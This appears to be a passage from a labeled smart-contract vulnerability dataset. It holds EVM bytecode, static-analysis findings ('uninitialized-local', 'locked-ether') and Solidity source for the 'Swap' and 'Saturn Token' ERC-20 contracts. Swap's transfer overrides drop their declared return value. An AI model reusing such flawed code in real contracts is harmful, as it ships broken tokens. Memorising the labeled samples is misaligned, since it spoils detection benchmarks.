2f599a2be6df2e281527f14bedd503c37ceb061d8ec60209fe345ce89830a19230301f076caff004d19266020808301919091529083528151608080820184527f0967032fcbf776d1afc985f88877f182d38480a653f2decaa9794cbc3bf3060c8285019081527f0e187847ad4c798374d0d6732bf501847dd68bc0e071241e0213bc7fc13db7ab606080850191909152908352845180860186527f304cfbd1e08a704a99f5e847d93f8c3caafddec46b7a0d379da69a4d112346a781527f1739c1b1a457a8c7313123d24d2f9192f896b7c63eea05a9d57f06547ad0cec8818601528385015285840192909252835180820185527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28186019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed828501528152845180860186527f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81527f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa818601528185015285850152835190810184527f0615107768071278c899a2a58fbbd8ed4fef1a377e5e9e444dc0ba925a5af8808185019081527f088ceb78b663ca4b200472f1c7e800bf258915d04f3691b4804088855efe4cd6828401528152835180850185527f2cab8dc311c6ddf9491e712b0412fe6fc245beb562f2a7b4385cfb690c6eb75881527f01c87fbf033520a5d740859498d159b21f5267231250a70d24fd49ab75d6769b818501528184015281850152825160028082529181019093529082015b6106a8610dba565b8152602001906001900390816106a057505060808201908152604080518082019091527f02bb981558b197dbdee04bc2c3b72d351a1bd8df3a09454d4a0c08e65d3cb84181527f2443538740ba22821b711470515d3bcebfdf51153176eb1083fd4ac5af13253460208201529051805160009061072157fe5b602002602001018190525060405180604001604052807f0169fd4f357762e9fe71b21fecd70a4451493dc3aefe10b23e25b726b165e91281526020017f1d6586fb965c37950524caf74ab66ddbbc63090719fa20e78473525d4df4750d815250816080015160018151811061079257fe5b602002602001018190525090565b6107a8610dba565b6107b0610dd4565b835181526020808501519082015260408101839052600060608360808460076107d05a03fa90508080156107e3576107e5565bfe5b508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5b5d5b0b59985a5b195960721b604482015290519081900360640190fd5b505092915050565b61083d610dba565b610845610df2565b8351815260208085015181830152835160408301528301516060808301919091526000908360c08460066107d05a03fa90508080156107e357508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5859190b59985a5b195960721b604482015290519081900360640190fd5b6108ce610dba565b81517f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd479015801561090157506020830151155b15610921575050604080518082019091526000808252602082015261094d565b6040518060400160405280846000015181526020018285602001518161094357fe5b0683038152509150505b919050565b60408051600480825260a0820190925260009160609190816020015b610976610dba565b81526020019060019003908161096e57505060408051600480825260a0820190925291925060609190602082015b6109ac610e10565b8152602001906001900390816109a45790505090508a826000815181106109cf57fe5b602002602001018190525088826001815181106109e857fe5b60200260200101819052508682600281518110610a0157fe5b60200260200101819052508482600381518110610a1a57fe5b60200260200101819052508981600081518110610a3357fe5b60200260200101819052508781600181518110610a4c57fe5b60200260200101819052508581600281518110610a6557fe5b60200260200101819052508381600381518110610a7e57fe5b6020026020010181905250610a938282610aa2565b9b9a5050505050505050505050565b60008151835114610af3576040805162461bcd60e51b81526020600482015260166024820152751c185a5c9a5b99cb5b195b99dd1a1ccb59985a5b195960521b604482015290519081900360640190fd5b82516006810260608167ffffffffffffffff81118015610b1257600080fd5b50604051908082528060200260200182016040528015610b3c578160200160208202803683370190505b50905060005b83811015610cc157868181518110610b5657fe5b602002602001015160000151828260060260000181518110610b7457fe5b602002602001018181525050868181518110610b8c57fe5b602002602001015160200151828260060260010181518110610baa57fe5b602002602001018181525050858181518110610bc257fe5b602090810291909101015151518251839060026006850201908110610be357fe5b602002602001018181525050858181518110610bfb57fe5b60209081029190910101515160016020020151828260060260030181518110610c2057fe5b602002602001018181525050858181518110610c3857fe5b602002602001015160200151600060028110610c5057fe5b6020020151828260060260040181518110610c6757fe5b602002602001018181525050858181518110610c7f57fe5b602002602001015160200151600160028110610c9757fe5b6020020151828260060260050181518110610cae57fe5b6020908102919091010152600101610b42565b50610cca610e30565b6000602082602086026020860160086107d05a03fa90508080156107e3575080610d33576040805162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b604482015290519081900360640190fd5b505115159695505050505050565b6040518060600160405280610d54610dba565b8152602001610d61610e10565b8152602001610d6e610dba565b905290565b6040518060a00160405280610d86610dba565b8152602001610d93610e10565b8152602001610da0610e10565b8152602001610dad610e10565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280610e23610e4e565b8152602001610d6e610e4e565b60405180602001604052806001906020820280368337509192915050565b6040518060400160405280600290602082028036833750919291505056fea26469706673582212202f76b157ed6be0ce511ca4aa478211f6ff8212f31b0fcd883d1141bc3f132a6e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,609
0xda32d3814b10aee35dcba4de4f6b2259916f9cbb
pragma solidity ^0.4.18; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Swap is StandardToken, BurnableToken, Ownable { using SafeMath for uint; string constant public symbol = "SWAP"; string constant public name = "Swap"; uint8 constant public decimals = 18; uint256 INITIAL_SUPPLY = 1000000000e18; address initialWallet = 0x41AA4bF6c87F5323214333c8885C5Fb660B00A57; function Swap() public { totalSupply_ = INITIAL_SUPPLY; // initialFunding initialFunding(initialWallet, totalSupply_); } function initialFunding(address _address, uint _amount) internal returns (bool) { balances[_address] = _amount; Transfer(address(0x0), _address, _amount); } function transfer(address _to, uint256 _value) public returns (bool) { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { super.transferFrom(_from, _to, _value); } // Don't accept ETH function () public payable { revert(); } }
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016357806318160ddd146101bd57806323b872dd146101e6578063313ce5671461025f57806342966c681461028e57806366188463146102b157806370a082311461030b5780638da5cb5b1461035857806395d89b41146103ad578063a9059cbb1461043b578063d73dd62314610495578063dd62ed3e146104ef578063f2fde38b1461055b575b600080fd5b34156100e057600080fd5b6100e8610594565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012857808201518184015260208101905061010d565b50505050905090810190601f1680156101555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016e57600080fd5b6101a3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105cd565b604051808215151515815260200191505060405180910390f35b34156101c857600080fd5b6101d06106bf565b6040518082815260200191505060405180910390f35b34156101f157600080fd5b610245600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106c9565b604051808215151515815260200191505060405180910390f35b341561026a57600080fd5b6102726106de565b604051808260ff1660ff16815260200191505060405180910390f35b341561029957600080fd5b6102af60048080359060200190919050506106e3565b005b34156102bc57600080fd5b6102f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610835565b604051808215151515815260200191505060405180910390f35b341561031657600080fd5b610342600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ac6565b6040518082815260200191505060405180910390f35b341561036357600080fd5b61036b610b0e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103b857600080fd5b6103c0610b34565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044657600080fd5b61047b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b6d565b604051808215151515815260200191505060405180910390f35b34156104a057600080fd5b6104d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b80565b604051808215151515815260200191505060405180910390f35b34156104fa57600080fd5b610545600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d7c565b6040518082815260200191505060405180910390f35b341561056657600080fd5b610592600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e03565b005b6040805190810160405280600481526020017f537761700000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60006106d6848484610f5b565b509392505050565b601281565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561073257600080fd5b339050610786826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131590919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107dd8260015461131590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610946576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109da565b610959838261131590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f535741500000000000000000000000000000000000000000000000000000000081525081565b6000610b79838361132e565b5092915050565b6000610c1182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e9b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f9857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fe557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561107057600080fd5b6110c1826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611154826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061122582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561132357fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561136b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113b857600080fd5b611409826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561156157fe5b8091505092915050565b6000816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3929150505600a165627a7a723058208cd899ac849734002320f01b542b718ee89f41d8aab746eaf95a1f774e4725570029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,610
0x117259d30e35a1e2cc093ede4579c4bf1f9418c5
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract SaturnToken is PausableToken { string public constant name = "Saturn Token"; string public constant symbol = "SAT"; uint8 public constant decimals = 18; uint256 private constant TOKEN_UNIT = 10 ** uint256(decimals); uint256 public constant totalSupply = (5 * 10000 * 10000) * TOKEN_UNIT; function SaturnToken() public { balances[owner] = totalSupply; Transfer(address(0), owner, balances[owner]); } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac57806323b872dd146101d3578063313ce567146101fd5780633f4ba83a146102285780635c975abb1461023f578063661884631461025457806370a08231146102785780638456cb59146102995780638da5cb5b146102ae57806395d89b41146102df578063a9059cbb146102f4578063d73dd62314610318578063dd62ed3e1461033c578063f2fde38b14610363575b600080fd5b3480156100f657600080fd5b506100ff610384565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a03600435166024356103bb565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16103e6565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600160a060020a03600435811690602435166044356103f6565b34801561020957600080fd5b50610212610423565b6040805160ff9092168252519081900360200190f35b34801561023457600080fd5b5061023d610428565b005b34801561024b57600080fd5b506101986104a0565b34801561026057600080fd5b50610198600160a060020a03600435166024356104b0565b34801561028457600080fd5b506101c1600160a060020a03600435166104d4565b3480156102a557600080fd5b5061023d6104ef565b3480156102ba57600080fd5b506102c361056c565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b506100ff61057b565b34801561030057600080fd5b50610198600160a060020a03600435166024356105b2565b34801561032457600080fd5b50610198600160a060020a03600435166024356105d6565b34801561034857600080fd5b506101c1600160a060020a03600435811690602435166105fa565b34801561036f57600080fd5b5061023d600160a060020a0360043516